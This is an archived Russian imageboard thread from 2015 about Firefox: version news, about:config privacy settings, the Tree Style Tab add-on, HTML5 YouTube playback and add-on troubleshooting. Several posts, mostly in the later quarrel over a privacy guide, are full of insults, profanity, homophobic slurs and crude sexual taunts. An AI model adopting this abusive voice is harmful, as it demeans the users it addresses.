Этого треда уже нет.
Это копия, сохраненная 24 марта 2015 года.
Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее
Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
Это копия, сохраненная 24 марта 2015 года.
Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее
Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
92 Кб, 512x512
Новости
Firefox 36 вышел. Список изменений: http://www.opennet.ru/opennews/art.shtml?num=41719 и https://www.linux.org.ru/news/mozilla/11351916.
Firefox 37 будет выпущен 31 марта: https://wiki.mozilla.org/Releases#Based_on_Gecko_37.
Шапка треда (FAQ, настройки, список полезных аддонов): https://github.com/The-OP/Fox/blob/master/header.md.
Приложение к шапке (продвинутые настройки и аддоны): https://github.com/The-OP/Fox/blob/master/addendum.md.
Предыдущий тред: >>1173278
Firefox 36 вышел. Список изменений: http://www.opennet.ru/opennews/art.shtml?num=41719 и https://www.linux.org.ru/news/mozilla/11351916.
Firefox 37 будет выпущен 31 марта: https://wiki.mozilla.org/Releases#Based_on_Gecko_37.
Шапка треда (FAQ, настройки, список полезных аддонов): https://github.com/The-OP/Fox/blob/master/header.md.
Приложение к шапке (продвинутые настройки и аддоны): https://github.com/The-OP/Fox/blob/master/addendum.md.
Предыдущий тред: >>1173278
539 Кб, 1266x1509
Перепощу занимательную картинку из предыдущего треда от зарубежных братьев по разуму. Может кому-нибудь пригодится. Не знаю правда, чего они против uBlock и Policeman кукарекают.
>>1177892
Плацебо для дебилов, которые думают что есть какая-то проблема в том, что кто-то знает что у тебя запущен ФФ.
Плацебо для дебилов, которые думают что есть какая-то проблема в том, что кто-то знает что у тебя запущен ФФ.
>>1177655
Ublock там нет. Речь шла про эдблок, который за шекели добавляет баннеры определенных сайтов в вайтлист.
Ublock там нет. Речь шла про эдблок, который за шекели добавляет баннеры определенных сайтов в вайтлист.
>>1177655
Это что еще за васян (или бейзил)? ОП, нахуй ты это говно запостил? Это не братья по разуму, это манямнение какого-то отдельного поехавшего ебаната с неимоверным ЧСВ
>do not use mainstream firefox. always use a somewhat lightweight fork
Это что еще за васян (или бейзил)? ОП, нахуй ты это говно запостил? Это не братья по разуму, это манямнение какого-то отдельного поехавшего ебаната с неимоверным ЧСВ
80 Кб, 956x934
>>1177654
Неужели больше никто тут не видит маленького дракончика, пытающегося слопать Африку?
Неужели больше никто тут не видит маленького дракончика, пытающегося слопать Африку?
>>1177892
Неплохая статья. Правда не для всего перечислены отключалки, но хотя бы описания есть.
Это уже есть у меня.
Это для пользующихся дефолтным Speed Dial. Добавлю.
Польза от отключения сомнительна, даже вред может быть. Если только в prefs_2/prefs_3.
Неплохая статья. Правда не для всего перечислены отключалки, но хотя бы описания есть.
>Auto-update checking
>Anti-phishing list updating
>Anti-malware list updating
>network.prefetch-next
>network.dns.disablePrefetch
>network.http.speculative-parallel-limit
>Add-on list prefetching
>Firefox Hello
>Tiles
>Geolocation for Default Search
>"What's new" page
>Add-on metadata updating
>Diagnostics
>Media Capabilities
Это уже есть у меня.
>browser.aboutHomeSnippets.updateUrl
Это для пользующихся дефолтным Speed Dial. Добавлю.
>Blocklist updating
>Secure Website Certificates
Польза от отключения сомнительна, даже вред может быть. Если только в prefs_2/prefs_3.
>>1177953
Доктор, а откуда у вас такие картинки?
Доктор, а откуда у вас такие картинки?
762 Кб, 2592x1944
В прошлом треде предлагали всячески обзывать не прочитавших шапку и смотреть на статистику посещений. Статистику можно смотреть, сделав редиректы на гитхаб через короткие ссылки типа bitly.com.
>>1177914
До форматирования там было 3 звездочки (5-значный порт)
>>1178048
Устройства ищет, вроде. Он же к тебе и обращается, разве нет? Почитай ту статью выше
>>1177914
До форматирования там было 3 звездочки (5-значный порт)
>>1178048
Устройства ищет, вроде. Он же к тебе и обращается, разве нет? Почитай ту статью выше
>>1178051
Да, я в курсе уже. Обещают исправить. Просто ради прикола запостил.
Хотя сама тенденция напрягает немного. Не было бы фаервола, и не заметил бы ничего.
Как же заебали меня все эти социальные онлайн-сервисы, лезущие изо всех щелей в мой уютный пк.
Один майнер-бот втихаря устанавливает, другой UPnP устройства, блять, ищет.
Ну хоть возможность отключить есть, пока еще.
Да, я в курсе уже. Обещают исправить. Просто ради прикола запостил.
Хотя сама тенденция напрягает немного. Не было бы фаервола, и не заметил бы ничего.
Как же заебали меня все эти социальные онлайн-сервисы, лезущие изо всех щелей в мой уютный пк.
Один майнер-бот втихаря устанавливает, другой UPnP устройства, блять, ищет.
Ну хоть возможность отключить есть, пока еще.
>>1178051
Сокращалками ссылок пользоваться неприлично (хоть у приличных людей и стоит блокировка авторедиректа). Да и вообще, это шутка была. Что с это статистикой делать потом?
>>1178053
Где?
Сокращалками ссылок пользоваться неприлично (хоть у приличных людей и стоит блокировка авторедиректа). Да и вообще, это шутка была. Что с это статистикой делать потом?
>>1178053
>Ну хоть возможность отключить есть, пока еще.
Где?
>A setting to control this behaviour will be implemented in an upcoming version of Firefox.
>>1178053
Да, меня тоже. Вообще, я считаю, что надо не усердствовать с нововведениями интерфейса, потому что, честно сказать, тот же поиск со значком поисковой системы - это удобно. А улучшать нужно производительность: мультипроцессы, JS, память, media, синхронизация профиля. У меня знакомый хромог не захотел скачивать русскоязычного лиса вместо англоязычного, и скачал целый хром, хотя количество действий одинаковое. Но он прям кончает, что в хроме можно изкоробки менять локаль. Где же хвалёный мозиловский XUL, в котором заявлена "простая смена локали"?...
>>1178054
Я думал, у совсем приличных людей стоит расширение, которое показывает тултип с оригинальной ссылкой...
Да, меня тоже. Вообще, я считаю, что надо не усердствовать с нововведениями интерфейса, потому что, честно сказать, тот же поиск со значком поисковой системы - это удобно. А улучшать нужно производительность: мультипроцессы, JS, память, media, синхронизация профиля. У меня знакомый хромог не захотел скачивать русскоязычного лиса вместо англоязычного, и скачал целый хром, хотя количество действий одинаковое. Но он прям кончает, что в хроме можно изкоробки менять локаль. Где же хвалёный мозиловский XUL, в котором заявлена "простая смена локали"?...
>>1178054
Я думал, у совсем приличных людей стоит расширение, которое показывает тултип с оригинальной ссылкой...
>>1178057
На AMO есть языковые пакеты, которые можно накатывать на инсталляцию, сделанную с другим языком.
Не универсально. Вообще, это работа кросс-доменного блокера - RequestPolicy или Policeman (0.19 версию никак не зааппрувят на AMO) это поддерживают.
>Где же хвалёный мозиловский XUL, в котором заявлена "простая смена локали"?...
На AMO есть языковые пакеты, которые можно накатывать на инсталляцию, сделанную с другим языком.
>Я думал, у совсем приличных людей стоит расширение, которое показывает тултип с оригинальной ссылкой...
Не универсально. Вообще, это работа кросс-доменного блокера - RequestPolicy или Policeman (0.19 версию никак не зааппрувят на AMO) это поддерживают.
>>1178068
ОП, я тут подумал - может собирать решённые случаи из предыдущих тредов?
Если я это сделаю, добавишь в шапку? Могу обновлять список на своём дропбоксе.
ОП, я тут подумал - может собирать решённые случаи из предыдущих тредов?
Если я это сделаю, добавишь в шапку? Могу обновлять список на своём дропбоксе.
>>1178069
Я стараюсь собирать наиболее распространенные (больше трех (?) аналогичных вопросов) и заносить в FAQ и список аддонов. Ты хочешь все записывать что ли? Тогда шапка по объему очень быстро приблизится к support.mozilla.org и ее уже точно никто не осилит.
Я стараюсь собирать наиболее распространенные (больше трех (?) аналогичных вопросов) и заносить в FAQ и список аддонов. Ты хочешь все записывать что ли? Тогда шапка по объему очень быстро приблизится к support.mozilla.org и ее уже точно никто не осилит.
>>1178076
Ну вообще мне просто влом снова искать ссылки про то что андроид не настраивается, или заново писать стиль...
Ну ок. Раз уж у тебя убеждения... Буду просто треды сохранять, это быстро, это 5 мб в неделю. Надолго хватит.
Ну вообще мне просто влом снова искать ссылки про то что андроид не настраивается, или заново писать стиль...
Ну ок. Раз уж у тебя убеждения... Буду просто треды сохранять, это быстро, это 5 мб в неделю. Надолго хватит.
>>1178078
У меня нет убеждений, но я думаю, что просто нереально включать все, а не только самое частоспрашиваемое. Попробуй просто в текстовый файл записывать все вопросы и ответы из треда, и посмотри, какой он длины получится. И кто его будет читать кроме нас с тобой и еще 3.5 регулярно отвечающих здесь на вопросы? Да даже мы его не читать будем, а Ctrl+F по ключевым словам из памяти.
Я их тоже сохраняю, на случай, если не успел все прочитать. Держи сохранялку: http://pastebin.com/dCTiq80G
>Раз уж у тебя убеждения
У меня нет убеждений, но я думаю, что просто нереально включать все, а не только самое частоспрашиваемое. Попробуй просто в текстовый файл записывать все вопросы и ответы из треда, и посмотри, какой он длины получится. И кто его будет читать кроме нас с тобой и еще 3.5 регулярно отвечающих здесь на вопросы? Да даже мы его не читать будем, а Ctrl+F по ключевым словам из памяти.
>Буду просто треды сохранять
Я их тоже сохраняю, на случай, если не успел все прочитать. Держи сохранялку: http://pastebin.com/dCTiq80G
анон, такая проблема, в 31еср после полноэкранного режима хтмл5 плеера, закрывается боковая панель закладок. как это пофиксить?
>>1178176
Очень вежливо попросить чтобы что-нибудь тебе это починил (это дохуя работы), и извиниться, что засрал предыдущие треды.
Очень вежливо попросить чтобы что-нибудь тебе это починил (это дохуя работы), и извиниться, что засрал предыдущие треды.
>>1178250
Тебе с таким лицом никто денег не даст. Можешь ждать этого гипотетического разраба на белом коне...
Вообще-то да, уже делали. Разработчики Мозиллы. Лично я уже нашёл и патч ихний, и понял, как написать расширение, чисто из интереса, но тебе разумеется ничего не обломится, лучше ищи того, кто уже делал.
Тебе с таким лицом никто денег не даст. Можешь ждать этого гипотетического разраба на белом коне...
Вообще-то да, уже делали. Разработчики Мозиллы. Лично я уже нашёл и патч ихний, и понял, как написать расширение, чисто из интереса, но тебе разумеется ничего не обломится, лучше ищи того, кто уже делал.
>>1178265
будем ждать.
будем ждать.
>>1178401
Нет у меня расширений, и проблем нет. А вам, утятам, лучше съебать, то вам что-то нужно, то нет, заебали уже.
А если ты не утёнок, хуль пригорел тогда? Всё равно неадекват какой-то.
Нет у меня расширений, и проблем нет. А вам, утятам, лучше съебать, то вам что-то нужно, то нет, заебали уже.
А если ты не утёнок, хуль пригорел тогда? Всё равно неадекват какой-то.
>>1178427
это всё конечно хорошо, но вот я перешел на плеер хтмл5 в ютуб, всё нравится четко, но вот боковая панель, которая у меня всегда открыта, после полноэкранного режима пропадает. кто знает, как это пофиксить? версия 31еср.
это всё конечно хорошо, но вот я перешел на плеер хтмл5 в ютуб, всё нравится четко, но вот боковая панель, которая у меня всегда открыта, после полноэкранного режима пропадает. кто знает, как это пофиксить? версия 31еср.
>>1178176
Это опять ты? Перейти на 36, где этот баг уже исправили - дело максимум получаса, а ты тут уже пятый день ноешь.
Это опять ты? Перейти на 36, где этот баг уже исправили - дело максимум получаса, а ты тут уже пятый день ноешь.
Пишу мюсли по TST и не только. Было ли у вас такое, что вы не привыкли, и рука всё равно тянется к заголовку, чтобы перетащить или закрыть текущую вкладку? А может быть, вы смогли скрыть заголовок? Собираюсь что-то искать. Думаю, помоглоа бы кнопка на тулбаре, дублирующая текущую вкладку: если её перетащить куда-то, это будет эквивалентно перетаскиванию текущей вкладки. Средней кнопкой - закрыть.
>>1178683
Нет, к нему рука не тянется (может потому, что я уже почти 6 лет на TST). На мониторах с малой вертикалью скрываю его.
Нет, к нему рука не тянется (может потому, что я уже почти 6 лет на TST). На мониторах с малой вертикалью скрываю его.
>>1178684
И как же ты его скрываешь с TST, в который впилено отображение заголовка? Полный экран - это не очень удобно.
И как же ты его скрываешь с TST, в который впилено отображение заголовка? Полный экран - это не очень удобно.
65 Кб, 988x770
>>1178658
Сделай как на пикрилейтед, что ты как быдло
>тянется к заголовку, чтобы перетащить или закрыть текущую вкладку?
Сделай как на пикрилейтед, что ты как быдло
>>1178691
Alt-F3 -> More Actions -> No Border. Или вообще указываю оконному менеджеру не отображать заголовок для всех окон Firefox. На сперму должна быть аналогичная писечка, гугли.
Alt-F3 -> More Actions -> No Border. Или вообще указываю оконному менеджеру не отображать заголовок для всех окон Firefox. На сперму должна быть аналогичная писечка, гугли.
>>1178658>>1178683
Я нихуя не понял. В фф этот заголовок в принципе никак не закрывает или перетаскивает текущую вкладку, что ты несешь? Если надо его скрыть, пкм на панели табов - изменить - Заголовок.
Насчет средней кнопкой закрыть ставь отдельное расширение, можно тот же Таб Микс Плюс, он вроде с ТСТ хорошо уживается.
Я нихуя не понял. В фф этот заголовок в принципе никак не закрывает или перетаскивает текущую вкладку, что ты несешь? Если надо его скрыть, пкм на панели табов - изменить - Заголовок.
Насчет средней кнопкой закрыть ставь отдельное расширение, можно тот же Таб Микс Плюс, он вроде с ТСТ хорошо уживается.
>>1178964
В TST и так закрытие средней кнопкой работает.
>Насчет средней кнопкой закрыть ставь отдельное расширение
В TST и так закрытие средней кнопкой работает.
>>1178967
А, то есть средней кнопкой закрыть относилось к кнопке, дублирующей таб. Понятно.
А, то есть средней кнопкой закрыть относилось к кнопке, дублирующей таб. Понятно.
>>1178964
Охуеть, написал же специально - я привык НЕ использовать TST, а обычно чтобы перетащить вкладку нужно тянуться именно вверх, туда, где теперь заголовок. Про заголовок тоже писал (sic!) - его так просто не отключишь. Про гипотетическую фичу написал просто так - иногда чувствовал в ней необходимость и без TST.
Охуеть, написал же специально - я привык НЕ использовать TST, а обычно чтобы перетащить вкладку нужно тянуться именно вверх, туда, где теперь заголовок. Про заголовок тоже писал (sic!) - его так просто не отключишь. Про гипотетическую фичу написал просто так - иногда чувствовал в ней необходимость и без TST.
>>1178970
Я не знаю, что он имел в виду, и чего ему вообще надо. Понял только, что Title Bar хочет убрать.
Я не знаю, что он имел в виду, и чего ему вообще надо. Понял только, что Title Bar хочет убрать.
В FF вкладка остаётся, когда магнет открываешь по ссылке в новой вкладке. Возможно автозакрытие устроить?
>>1178973
Первая ссылка из Гугла: http://www.autohotkey.com/board/topic/90189-help-in-making-a-titlebarlesscaptionless-window/
>Про заголовок тоже писал (sic!) - его так просто не отключишь
Первая ссылка из Гугла: http://www.autohotkey.com/board/topic/90189-help-in-making-a-titlebarlesscaptionless-window/
>>1178979
Попробую сказать так: Проблема не в том, что там заголовок, а в том что там в рядом нет активной вкладки, которую можно перетянуть.
Попробую сказать так: Проблема не в том, что там заголовок, а в том что там в рядом нет активной вкладки, которую можно перетянуть.
>>1178981
Куда ты ее тянуть собрался оттуда, если панель вкладок вообще с другого края? По-моему у тебя синдром утёнка в терминальной стадии.
Куда ты ее тянуть собрался оттуда, если панель вкладок вообще с другого края? По-моему у тебя синдром утёнка в терминальной стадии.
>>1178973
Хуя ты мысли излагаешь.
Зачем тебе вообще тащить вкладку куда-то, я не могу понять? И зачем тебе тащить вкладку туда, где заголовок, там же ни одной активной области нет.
В общем, перечитал твой пост и, кажется, понял, что ты хотел сказать. У тебя раньше панель табов была вынесена в одну линию с виндовыми кнопками Свернуть, Развернуть, Закрыть, из-за чего выработалась привычка тянуться к верхнему краю экрана, чтобы перетащить таб, от которой ты не смог избавиться. Также тебе нужно полностью скрыть заголовок окна.
Ты косноязычный мудак пиздец. Или ты накурен там? А ну-ка дыхни.
Тебе не перетянуть надо, а завязать. Наркоман ебаный.
>написал же специально - я привык НЕ использовать TST
>Пишу мюсли по TST и не только. Было ли у вас такое, что вы не привыкли
Хуя ты мысли излагаешь.
>обычно чтобы перетащить вкладку нужно тянуться именно вверх, туда, где теперь заголовок
Зачем тебе вообще тащить вкладку куда-то, я не могу понять? И зачем тебе тащить вкладку туда, где заголовок, там же ни одной активной области нет.
В общем, перечитал твой пост и, кажется, понял, что ты хотел сказать. У тебя раньше панель табов была вынесена в одну линию с виндовыми кнопками Свернуть, Развернуть, Закрыть, из-за чего выработалась привычка тянуться к верхнему краю экрана, чтобы перетащить таб, от которой ты не смог избавиться. Также тебе нужно полностью скрыть заголовок окна.
Ты косноязычный мудак пиздец. Или ты накурен там? А ну-ка дыхни.
>Проблема не в том, что там заголовок, а в том что там в рядом нет активной вкладки, которую можно перетянуть.
Тебе не перетянуть надо, а завязать. Наркоман ебаный.
>>1177654
https://addons.mozilla.org/en-US/firefox/addon/download-sort/
Только что обновился.
Не прошло и трёх лет блять.
https://addons.mozilla.org/en-US/firefox/addon/download-sort/
Только что обновился.
Не прошло и трёх лет блять.
>>1179049
Извиняюсь. Просто пару тредов подряд не было этого. Спасибо.
Извиняюсь. Просто пару тредов подряд не было этого. Спасибо.
>>1179049
Хм, таки это говно всё равно флеш использует. Я так понимаю, без флеша смотреть 1080р нельзя?
Хм, таки это говно всё равно флеш использует. Я так понимаю, без флеша смотреть 1080р нельзя?
>>1179059
Можно даже 60 fps
Можно даже 60 fps
>>1179061
Ты не понял. У меня и так html5 по-умолчанию стоит, но когда включаешь опцию "media.mediasource.enabled -> true", то для 1080р всё равно используется flash, а не html 5. Он даже просит разблокировать flash плагин после включения этой опции на youtube.
Ты не понял. У меня и так html5 по-умолчанию стоит, но когда включаешь опцию "media.mediasource.enabled -> true", то для 1080р всё равно используется flash, а не html 5. Он даже просит разблокировать flash плагин после включения этой опции на youtube.
>>1179064
Ну попробуй отключить флеш. Вообще, в прошлом или позапрошлом треде у людей и 4K работало вроде.
Ну попробуй отключить флеш. Вообще, в прошлом или позапрошлом треде у людей и 4K работало вроде.
>>1179075
Работает? У меня смутные сомнения, что еще что-то включить надо было. Покажи about:config с запросом "mp4".
Работает? У меня смутные сомнения, что еще что-то включить надо было. Покажи about:config с запросом "mp4".
>>1179081
пит буль
пит буль
>>1179085
Хм, интересно. media.fragmented-mp4.exposed на прыщах по умолчанию отключено, а на сперме значит включено.
Хм, интересно. media.fragmented-mp4.exposed на прыщах по умолчанию отключено, а на сперме значит включено.
57 Кб, 1365x204
>>1178985
Правильно. Всю суть можно понять из моего первого поста, внимательно его прочитав.
Единственное, мне стоило уточнить, что удаление заголовка - второстепенный вопрос
Алсо, я сделал себе уже. Ярлык на текущую вкладку, примерно так я его и представлял.
> перечитал твой пост
Правильно. Всю суть можно понять из моего первого поста, внимательно его прочитав.
Единственное, мне стоило уточнить, что удаление заголовка - второстепенный вопрос
Алсо, я сделал себе уже. Ярлык на текущую вкладку, примерно так я его и представлял.
>>1179123
То есть зря в фоксе сделали, чтобы можно было вкладку: вытянуть из окна (она откроется в новом окне), поменять перетаскиванием её положение в списке, перетянуть в закладки? Имхо, не зря. У меня в закладках около 20 папок, и гораздо быстрее текущую вкладку потянуть, попутно нажав Ctrl+B, и положить в нужную папку, чем жать на звёздочку и выбирать нужную папку.
А ещё текущую можно потерять в списке, особенно если она в середине - прокрутка-то в TST такая же неудобная, как в оригинальном продукте: по ScrollDown прокручивает в самый конец списка, а по ScrollUp - в самое начало. Это же неудобно, согласись (хотя не знаю, мб есть и для этого писечка).
То есть зря в фоксе сделали, чтобы можно было вкладку: вытянуть из окна (она откроется в новом окне), поменять перетаскиванием её положение в списке, перетянуть в закладки? Имхо, не зря. У меня в закладках около 20 папок, и гораздо быстрее текущую вкладку потянуть, попутно нажав Ctrl+B, и положить в нужную папку, чем жать на звёздочку и выбирать нужную папку.
А ещё текущую можно потерять в списке, особенно если она в середине - прокрутка-то в TST такая же неудобная, как в оригинальном продукте: по ScrollDown прокручивает в самый конец списка, а по ScrollUp - в самое начало. Это же неудобно, согласись (хотя не знаю, мб есть и для этого писечка).
>>1179131
Это все можно сделать в TST без дополнительных ухищрений. Более того - тянуть из TST в панельку Ctrl+B, которая открывается тоже слева, даже ближе.
Ну разве что это. Но можно Ctrl+T,W нажать (если настроено, чтобы новые вкладки открывались как дети текущей), нужно все равно редко бывает.
Прокрутка там неудобная в том плане, что не учитывает опции mousewheel, но это потому что оригинальный Tab Bar их не учитывает и вроде есть воркэраунд. Алсо, рекомендую поставить Tree Style Tab: Compact Tabs, чтобы крутить меньше надо было.
>вытянуть из окна (она откроется в новом окне), поменять перетаскиванием её положение в списке, перетянуть в закладки?
Это все можно сделать в TST без дополнительных ухищрений. Более того - тянуть из TST в панельку Ctrl+B, которая открывается тоже слева, даже ближе.
>А ещё текущую можно потерять в списке, особенно если она в середине
Ну разве что это. Но можно Ctrl+T,W нажать (если настроено, чтобы новые вкладки открывались как дети текущей), нужно все равно редко бывает.
>прокрутка-то в TST такая же неудобная
Прокрутка там неудобная в том плане, что не учитывает опции mousewheel, но это потому что оригинальный Tab Bar их не учитывает и вроде есть воркэраунд. Алсо, рекомендую поставить Tree Style Tab: Compact Tabs, чтобы крутить меньше надо было.
206 Кб, 729x311
При обновлении страницы начали появляться вот такие артефакты на пикчах.
102 Кб, 992x639
>>1179123
А у тебя случайно не отмечена эта настройка? На mozilla-russia кто-то починил баги с пикчами отключением aero или этой штуки
А у тебя случайно не отмечена эта настройка? На mozilla-russia кто-то починил баги с пикчами отключением aero или этой штуки
>>1179228
Попробуй:
1) Обновить видеодрайвера. Или ноборот откатить, если появилось после обновления.
2) Отключить Preferences -> Advanced -> General -> Use hardware acceleration when available.
3) Сделать бочку. Даунгрейднутся на ESR - кому-то тут помогло.
Попробуй:
1) Обновить видеодрайвера. Или ноборот откатить, если появилось после обновления.
2) Отключить Preferences -> Advanced -> General -> Use hardware acceleration when available.
3) Сделать бочку. Даунгрейднутся на ESR - кому-то тут помогло.
>>1179243
А, ну тогда да, признаю. Я думал, на скрине что-то.
А, ну тогда да, признаю. Я думал, на скрине что-то.
>>1179255
И вот хуй знает, в чем здесь дело. Пока двум людям это помогло, одному - не помогло.
И вот хуй знает, в чем здесь дело. Пока двум людям это помогло, одному - не помогло.
Кто-нибудь запилил уже, какие настройки нужно отключить и что нужно доустановить, чтобы препятствовать фингерпринтингу и ислиться с другими пользователями?
>>1179266
Не-не-не, отключать всё подряд - херовая практика. Должен быть определенный набор настроек с пояснениями грамотного анона. Сделали такое?
Не-не-не, отключать всё подряд - херовая практика. Должен быть определенный набор настроек с пояснениями грамотного анона. Сделали такое?
>>1179270
Полностью слиться можно конечно, но в ущерб удобству и безопасности серфинга. Уверен, что этого хочешь?
Полностью слиться можно конечно, но в ущерб удобству и безопасности серфинга. Уверен, что этого хочешь?
>>1179278
Да, хочу. Сможешь предоставить или просто повторил мне фразу, что у него написана?
Да, хочу. Сможешь предоставить или просто повторил мне фразу, что у него написана?
>>1179278
А лучше сразу вменяемую статистику отпечатков, иначе все эти настройки по принципу НУ МНЕ ТАК КАЖЕТСЯ и выеденного хуйца не стоят.
А лучше сразу вменяемую статистику отпечатков, иначе все эти настройки по принципу НУ МНЕ ТАК КАЖЕТСЯ и выеденного хуйца не стоят.
>>1179287
А, понятно. Очередной школьник зашел в софтач. Не смею тебя больше задерживать.
А, понятно. Очередной школьник зашел в софтач. Не смею тебя больше задерживать.
148 Кб, 566x800
>>1179264
Бампану вопрос, если вы вдруг тоже пропустили тираду школёнка.
Бампану вопрос, если вы вдруг тоже пропустили тираду школёнка.
У меня вообще была мысль написать гайд, но как-то все меньше и меньше хочется, когда смотрю на такое вот, как тут выше. Я просто поражаюсь наглости подобных блядей. Они же даже не просят, а натурально требуют, чтобы им вынули, положили и разжевали в наилучшем виде, в то время как сами они будут только сидеть свесив ножки, воротить капризно нос и покрикивать.
>>1179297
В теме анонимности и приватности существует по крайней мере 2 типа людей. Первый - грамотные аноны, обычно программисты, которые анализируют код, выкладывают свои анализы, делают статьи и расширения для противодействия браузерпринтингу и повышению анонимности, как, например, тот ананас с ЛОРа. Они понимают, что если эта информация будет скрываться, толку от этого не будет. Настроит так свой браузер полтора человека - и мы получим кучку павлинов с распушенными хвостами на оживленной улице. Второй - это гуманитарные вниманиебляди, строчащие свои бложики и статьи там, где можно получить хоть чуть-чуть одобрения и плюсиков. Они не разбираются в теме глубоко, но способны гуглить и собирать всякую хрень воедино. Разбавляя это словами, они пишут "гайд". Иногда клянчат одобряшки, прежде чем это сделать, чтобы потешить свое ЧСВ.
Так вот, обращаюсь к тебе. НЕ ПИШИ. Ты заебал уже. Твой высер здесь НЕ НУЖЕН. Я тут периодически появляюсь, чтобы в очередной раз попытаться найти анонов первого типа. Надень свой шарфик, узенькие джинсы-пидорки, коричневые ботиночки и уйди на жж, хабру, блогспот - да куда угодно. Ты бесполезен, поэтому просто по-человечески прошу: игнорируй мои вопросы, а лучше заведи трипкод.
В теме анонимности и приватности существует по крайней мере 2 типа людей. Первый - грамотные аноны, обычно программисты, которые анализируют код, выкладывают свои анализы, делают статьи и расширения для противодействия браузерпринтингу и повышению анонимности, как, например, тот ананас с ЛОРа. Они понимают, что если эта информация будет скрываться, толку от этого не будет. Настроит так свой браузер полтора человека - и мы получим кучку павлинов с распушенными хвостами на оживленной улице. Второй - это гуманитарные вниманиебляди, строчащие свои бложики и статьи там, где можно получить хоть чуть-чуть одобрения и плюсиков. Они не разбираются в теме глубоко, но способны гуглить и собирать всякую хрень воедино. Разбавляя это словами, они пишут "гайд". Иногда клянчат одобряшки, прежде чем это сделать, чтобы потешить свое ЧСВ.
Так вот, обращаюсь к тебе. НЕ ПИШИ. Ты заебал уже. Твой высер здесь НЕ НУЖЕН. Я тут периодически появляюсь, чтобы в очередной раз попытаться найти анонов первого типа. Надень свой шарфик, узенькие джинсы-пидорки, коричневые ботиночки и уйди на жж, хабру, блогспот - да куда угодно. Ты бесполезен, поэтому просто по-человечески прошу: игнорируй мои вопросы, а лучше заведи трипкод.
>>1179313
3 типа. Третий тип это ты, которые нихуя полезного не умеют и, соответственно, нихуя полезного не делают. А вот что они умеют делать, так это ИСКАТЬ кто бы им что-то сделал. А если не находят( или находят то, что их не устраивает) - начинают скулить, какие все вокруг пидарасы.
мимо_второй_тип
> В теме анонимности и приватности существует по крайней мере 2 типа людей
3 типа. Третий тип это ты, которые нихуя полезного не умеют и, соответственно, нихуя полезного не делают. А вот что они умеют делать, так это ИСКАТЬ кто бы им что-то сделал. А если не находят( или находят то, что их не устраивает) - начинают скулить, какие все вокруг пидарасы.
мимо_второй_тип
>>1179497
Тогда есть и пятый - ванильные хуесоски, которые считают, что каждое живое существо - яркая индивидуальность. Особенно они сами.
Тогда есть и пятый - ванильные хуесоски, которые считают, что каждое живое существо - яркая индивидуальность. Особенно они сами.
>>1179521
И шестой - сукины дети, чьих матерей я ебал.
И шестой - сукины дети, чьих матерей я ебал.
8 Кб, 515x128
Лисаны, основная машина - типичный ноутбук, с 768 по ширине, т.е. каждый пиксель критичен, два вопроса
1.В недавнем релизе появилась фича, через about:config, панель вкладок, адресной строки и закладок становились узкими, плоскими, ставил, но оно слетело, а вспомнить не могу
2.Перетащил "элементы панели закладок" в один ряд с поиском и урл-баром, но сколько бы ни было этих самых закладок, последний элемент скрывается. Можно как-то зафиксировать длину?
1.В недавнем релизе появилась фича, через about:config, панель вкладок, адресной строки и закладок становились узкими, плоскими, ставил, но оно слетело, а вспомнить не могу
2.Перетащил "элементы панели закладок" в один ряд с поиском и урл-баром, но сколько бы ни было этих самых закладок, последний элемент скрывается. Можно как-то зафиксировать длину?
>>1179677
флеш-плеер на ютубе редкое говно, но html5-плеер - браузерорешение. если у тебя что-то ломается, то проблема в данном случае у тебя
флеш-плеер на ютубе редкое говно, но html5-плеер - браузерорешение. если у тебя что-то ломается, то проблема в данном случае у тебя
>>1179691
Ну открой любое видео, где доступно что-то выше 360п. Чтоб включить новый - media.mediasource.enabled и media.mediasource.mp4.enabled
Ну открой любое видео, где доступно что-то выше 360п. Чтоб включить новый - media.mediasource.enabled и media.mediasource.mp4.enabled
27 Кб, 301x133
>>1179693
720р доступно, 360р тоже, и всё.
720р доступно, 360р тоже, и всё.
40 Кб, 308x167
>>1179693
Включил media.mediasource.enabled, теперь доступны все.
Это всё пофиксит? мп4 уже было включено.
Включил media.mediasource.enabled, теперь доступны все.
Это всё пофиксит? мп4 уже было включено.
>>1179700
Вполне может пофиксить, это считай другой плеер. А на флеше-то у тебя все хорошо?
Вполне может пофиксить, это считай другой плеер. А на флеше-то у тебя все хорошо?
>>1179738
в жопу долбиться го))
в жопу долбиться го))
>>1179297
А ты натурально требуешь что каждый твой пук отбивался в 10ратном размере. Бревна в глазу не видишь. Те кто действительно хочет помочь а не вниманием торговать, те берут и помогают, не требуя многократной отдачи с свой адрес. Подумай об этом
> Они же даже не просят, а натурально требуют, чтобы им вынули, положили и разжевали в наилучшем виде,
А ты натурально требуешь что каждый твой пук отбивался в 10ратном размере. Бревна в глазу не видишь. Те кто действительно хочет помочь а не вниманием торговать, те берут и помогают, не требуя многократной отдачи с свой адрес. Подумай об этом
>>1179621
2. Перетащи туда что-то ненужное.
2. Перетащи туда что-то ненужное.
135 Кб, 1366x768
131 Кб, 1366x768
>>1177654
Сап, лисач. Есть одна лиса с дохуя аддонов.
Классический вопрос: как не потерять в функционале без соснулей в плане удобства/настроек и при этом облегчить лиску? Возможно ли "слить" их в одно "большое" дополнение, сэкономив на чисто технических тратах?
Сап, лисач. Есть одна лиса с дохуя аддонов.
Классический вопрос: как не потерять в функционале без соснулей в плане удобства/настроек и при этом облегчить лиску? Возможно ли "слить" их в одно "большое" дополнение, сэкономив на чисто технических тратах?
Вопрос. Почему перестают работать дополнения?
Со вчерашнего дня не работают:
- Download halper
- Image Picker
- Переводчик яндекс
Программы как бы работают, но результата нет. Например Image Picker создает папку, но контент не скачивает. Переводчик начинает переводить и иконка ожидания постоянно крутится.
Что пробовал:
Переустанавливать браузер с удалением всех оставшихся файлов и чисткой реестра. Что это за неведомая хуйня?
Причем сначала накрылось на одном компьютере, на втором вроде работало, а потом и там все ебнулось.
Со вчерашнего дня не работают:
- Download halper
- Image Picker
- Переводчик яндекс
Программы как бы работают, но результата нет. Например Image Picker создает папку, но контент не скачивает. Переводчик начинает переводить и иконка ожидания постоянно крутится.
Что пробовал:
Переустанавливать браузер с удалением всех оставшихся файлов и чисткой реестра. Что это за неведомая хуйня?
